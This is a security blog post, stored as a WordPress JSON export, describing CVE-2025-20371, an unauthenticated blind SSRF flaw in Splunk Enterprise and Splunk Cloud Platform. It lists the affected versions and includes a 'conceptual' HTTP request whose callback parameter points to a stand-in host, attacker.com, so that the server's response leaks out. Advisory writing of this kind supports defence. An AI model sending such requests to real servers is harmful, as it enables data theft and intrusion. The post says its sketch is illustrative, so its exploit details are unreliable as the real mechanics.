{"id":87071,"date":"2026-06-08T09:26:34","date_gmt":"2026-06-08T09:26:34","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-20371-unauthenticated-blind-ssrf-vulnerability-in-splunk-enterprise-and-cloud-platform","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-20371-unauthenticated-blind-ssrf-vulnerability-in-splunk-enterprise-and-cloud-platform\/","title":{"rendered":"CVE-2025-20371: Unauthenticated Blind SSRF Vulnerability in Splunk Enterprise and Cloud Platform<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability CVE-2025-20371, found in several versions of Splunk Enterprise and Splunk Cloud Platform, allows an unauthenticated attacker to potentially perform REST API calls on behalf of an authenticated high-privileged user. This flaw is significant due to its potential to compromise systems or leak sensitive data, emphasizing the importance of immediate mitigation and patching measures.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-20371
\nSeverity: High (7.5 CVSS score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Splunk Enterprise | < 10.0.1, 9.4.4, 9.3.6, 9.2.8\nSplunk Cloud Platform | < 9.3.2411.109, 9.3.2408.119, 9.2.2406.122\n\nHow the Exploit Works<\/strong><\/p>\n

In affected versions of Splunk Enterprise and Splunk Cloud Platform, an unauthenticated attacker can trigger a blind server-side request forgery (SSRF). This exploit is possible due to insufficient input control in the handling of API requests. The attacker can manipulate the API request to perform actions on behalf of an authenticated high-privileged user, potentially leading to unauthorized access, data leakage, or system compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following conceptual HTTP request demonstrates how the vulnerability might be exploited:<\/p>\n

GET \/api\/v1\/admin\/endpoint?callback=http:\/\/attacker.com HTTP\/1.1\nHost: target.splunk.com<\/code><\/pre>\n
In this example, the attacker manipulates the `callback` parameter in the API request to redirect the server response to their own server, potentially revealing sensitive information.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The vulnerability CVE-2025-20371, found in several versions of Splunk Enterprise and Splunk Cloud Platform, allows an unauthenticated attacker to potentially perform REST API calls on behalf of an authenticated high-privileged user. This flaw is significant due to its potential to compromise systems or leak sensitive data, emphasizing the importance of immediate mitigation and patching […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-87071","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t